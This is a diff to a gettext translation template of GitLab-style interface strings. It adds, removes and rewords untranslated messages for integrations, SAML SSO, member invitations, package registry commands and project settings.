+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14347,6 +14771,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18332,6 +18807,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18371,6 +18849,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,7 +20974,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20529,6 +21025,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,10 +21827,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21329,6 +21848,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,10 +23186,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,7 +23693,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
